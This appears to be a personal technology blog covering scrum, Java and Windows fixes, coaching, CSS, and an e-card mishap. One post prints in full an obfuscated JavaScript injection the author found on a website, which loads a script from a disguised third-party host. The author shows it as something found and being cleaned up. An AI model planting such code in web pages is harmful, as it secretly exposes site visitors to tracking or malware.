John’s Technology Blog

Today I came across a great video that covers the basics of scrum in about eight minutes.  Check it out for yourself.

Or use the direct link: Scrum in under 10 minutes

Just today I came across a javascript hack that was sending information for website users to a third party location.

The way I found this out – other than getting malware notices from Google, was to do a wireshark trace on the offending website. From there I saw some interesting requests. Upon closer inspection, I found a piece of code with this function that I did not recognize:

function advQuery(){
var Host=”http://google.com/”;Track=”/if.php”;get=unescape(”%6E%65%74″);
document.write(unescape(”%3Cscript src=’”+Host.substr(0,9)+unescape(”\u0030\u0030″)+Host.substr(9,5)+get));
document.write(unescape(Track+”‘ type=’text/javascript’%3E%3C/script%3E”));
};advQuery();

It is easy enough to clear up, but now I need to find out how it got there!

I’ve noticed that when I run Elluminate on my new 64 bit Windows Vista machine I have problems with the explorer and other programs hanging. It really makes the session terrible.

I thought it was a problem with Windows Vista, but later discovered it had to do with the 64 bit JVM on my machine.

The solution is to open the eluminate session file (.jnlp) with a 32 bit version of java (eg. javaws c:\temp\training.jnlp)

It is not a pretty solution, but it is at least a workable one. Hopefully Elluminate will be able to get a fix in for the problem soon.

The GROW model of coaching helps a leader to get a team or group started down the right path on a new assignment:

G: Goals – Agree on goals and objectives.  Set long-term goals and reach a consensus with the team.  Ensure that you have their buy-in.

R: Reality – Assess the Reality of the situation.  Determine the team’s strengths, perceived weaknesses, and what situations the team feels capable.  What solutions have been tried in the past.  Take an honeset assessment – trying to ensure that irrelevant history is discarded.

O: Options – Look at the possible options.  Ask the team for suggestions for options in reaching the goals.  What has worked well inthe past and what hasn’t?  What other things could be tried.  Brainstorm for some ideas.

W: Wrapping up the session – Identify obstacles, get a commitment on action, and identify any other support or resources that are needed for the team to achieve its goals.  Finally, identify the next steps to take and agree on a timetable.

Google’s current translation service has just gone a step further.  Not only can you translate text, or a web page, but now you can translate PDF files that are on the internet.  Simply enter in the URL for the PDF file and google will use it’s PDF->HTML conversion tools to convert the document to an HTML page and then performs the translate.  As with its typical translation service you can highlight translated paragraphs to see what the original text was and fix or correct the translation so that the translation engine can improve itself.

For fun, I thought I would translate my online resume from English to Spanish.  Check it out for yourself at: John Andersen’s Resume in Spanish.

I often let files sit around on servers that contain logs and other automatically updated information. I want to clean these up every once in a while. Linux, of course, offers a great way to do this.

find $directory_to_clean -mtime +$days_old -exec rm {} \;

This bash command will look in the $directory_to_clean location and delete all files that are $days_old old.

If you are paranoid about the command and want to try it out first, use this one:

find $directory_to_clean -mtime +$days_old -exec ls -l {} \;

That command will list all the files instead of delete them.

Many of us have websites that look great on the computer monitor, yet wreak havoc on printers. CSS has a great way to make your content more printer friendly when it is needed.

Take the following CSS code for example:

<style type="text/css">
@media print {
#menubar, #navbar, #searchbar {display: none;}
#wrap, #content, #comments {width: 100%; margin: 0; background: #FFFFFF;}
}
</style>

This code snippet in your page essentially says that when this document is being printed, hide the menubar, the navbar, and the searchbar – they are not needed with the printout.

For the content that we want printed, set the wrap, content, and comments sections to full page width with no background colors.

The page will continue to look great on the computer screen, but now your content prints well from that laser printer!

I few months ago I published my solution for the various wireless problems I had with my laptop when I upgraded from Windows XP SP2 to SP3.  Back then I used a batch file to resolve the problems that I was consistently seeing when coming back out of standby or hibernate mode. (See Windows XP SP3 – Your Vista Migration Tool!)

I have recently discovered that I can dispatch with my earlier batch file by copying the following dll’s that exist in my pre-SP3 installation of Windows:

• wscsvc.dll
• wzcdlg.dll
• wzcsapi.dll

Once I replaced the SP3 dlls with these my laptop performed much better with regard to the wireless issues that were present earlier.

Please try to use the dll’s from your own installation, but if you must, you can try the following zip file at your own risk:

Click here for the Windows SP2 dll’s that corrected my problems.

For those who follow news and information from The Church of Jesus Christ of Latter-day Saints, there is a new widget out there that allows you track news of the church on any of your blogs or other websites.

First you go to the LDS News Widget Page and select the style of widget that you wish to use. You’ll then be presented with the code needed to copy and paste into your blog or website files. If you use popular blogging or other content management tools, you’ll be given info on how to easily integrate the widget into your site.

Here is an example of the widget:

On Saturday, I had received an email-advertisement for an online e-card generator hosted by jibjab.com.  It is a holiday ecard named “elf-yourself”. You upload photos of you and family and friends. You then stick your uploaded faces onto their website and they transfer them to a bunch of dancing elves. You can select the type of dance that the elves perform. In the background there is a holiday jingle to wish your recipient a happy Christmas.

After I successfully made the ecard, I showed it to my children. My 10-year-old daughter wanted to make one of her own. I helped her load the pictures onto the computer and she skillfully cropped the faces so they fit well on the elves. She was so proud of her newly created e-card that she posted it on our family blog.

When I first watched her e-card it was very cute and I told her she did a good job. Later that day, she tried to show the card to one of her friends. However, we found that the e-card would not load properly. It almost appeared as if the e-card had expired.

The next day I received an e-mail as well as a comment from that blog post. People were upset by the content of the e-card.  I loaded the blog post up into my browser and sure enough I found the content of the card to be different than what my daughter had originally created. In fact, it was somewhat obscene. It was definitely inappropriate for a 10-year-old girl as well as all of her friends that she sent a card to. In the place of her card, was a Valentines Day greeting — a striptease that someone else had created in jest for a friend.

Somehow, the unique key associated with my daughter’s card expired early (within the day) and someone else’s card took the newly available key. Thus, the card that we intended to share with everyone else no longer existed — instead they would receive a card that was definitely inappropriate and offensive.

Luckily, jibjab.com allows you to purchase your flash file (e-card) for about four dollars. This way you can ensure that the card you made is going to be the card that your recipients receive. I am not angry at jibjab.com for this mixup – I am sure was just a random technological foul-up. But it has taught me a lesson — as long as your information is hosted by someone else, on someone else’s server, you can never truly be sure of it’s presented result.

So, don’t thow out the paper greeting cards just yet — ecards may look fancy and fun, but you just never know what your recipient will end up seeing!